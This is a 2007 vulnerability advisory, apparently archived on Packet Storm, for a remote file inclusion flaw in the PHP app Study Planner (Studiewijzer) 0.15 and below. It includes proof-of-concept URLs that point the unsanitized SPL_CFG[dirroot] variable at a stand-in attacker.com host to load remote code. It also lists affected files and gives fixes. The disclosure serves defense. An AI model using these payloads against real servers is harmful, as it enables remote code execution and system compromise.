what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

adv77-K-159-2007.txt

adv77-K-159-2007.txt
Posted Mar 24, 2007
Authored by M.Hasran Addahroni | Site advisories.echo.or.id

Study Planner versions 0.15 and below suffer from a remote file inclusion vulnerability.

tags | advisory, remote, file inclusion
SHA-256 | 388e9f1ca8959efd2f10582c9a993dffe0de7f844e38ba572a05081033a1272d

adv77-K-159-2007.txt

Change Mirror Download
ECHO_ADV_77$2007

-----------------------------------------------------------------------------------------
[ECHO_ADV_77$2007] Study planner (Studiewijzer) <= 0.15 Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------

Author : M.Hasran Addahroni
Date : March, 21th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv77-K-159-2007.txt
Critical Lvl : Dangerous
Impact : System access
Where : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Study planner (Studiewijzer)
version : <= 0.15
Vendor : http://www.studiewijzer.nl/
http://sourceforge.net/projects/splanner
Description :

A study planner, helping students to choose and plan the appropriate actions or tasks in order to reach their goals (PHP based)

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at inc/service.alert.inc.php :


----------------inc/service.alert.inc.php-------------------
<?php
/**
* Alerting service
*
* $Author: jebbol $
* $Revision: 1.1 $
* $Date: 2006/08/24 17:33:44 $
*
* @copyright Copyright (c) 2005-2006 Studiewijzer.nl
* @link http://www.studiewijzer.nl
* @license http://www.gnu.org/copyleft/gpl.html
*/

include_once ($SPL_CFG['dirroot'].'/class/stu.class.php');
...

----------------------------------------------------------------


Variables $SPL_CFG['dirroot'] is not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

also affected files :
inc/settings.ses.php
db/mysql/db.inc.php
integration/shortstat/configuration.php
methodology/traditional/class/ali.class.php
methodology/traditional/class/cat.class.php
methodology/traditional/ui/inc/cat_browse.inc.php
methodology/traditional/ui/inc/chr_browse.inc.php
methodology/traditional/ui/inc/chr_display.inc.php
methodology/traditional/ui/inc/dash_browse.inc.php
ws/spl.webservice.php
ws/konfabulator/gateway_admin.php

and more ..

Poc/Exploit:
~~~~~~~~~~

http://www.target.com/[splanner_path]/inc/service.alert.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/inc/settings.ses.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/db/mysql/db.inc.php?SPL_CFG[dirroot]=http://attacker.com/evil?
http://www.target.com/[splanner_path]/integration/shortstat/configuration.php?SPL_CFG[dirroot]=http://attacker.com/evil?



Solution:
~~~~~~~

- Sanitize variable $SPL_CFG['dirroot'] on affected file.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke (for the best comments)
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid, kuntua, stev_manado, nofry, x16
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close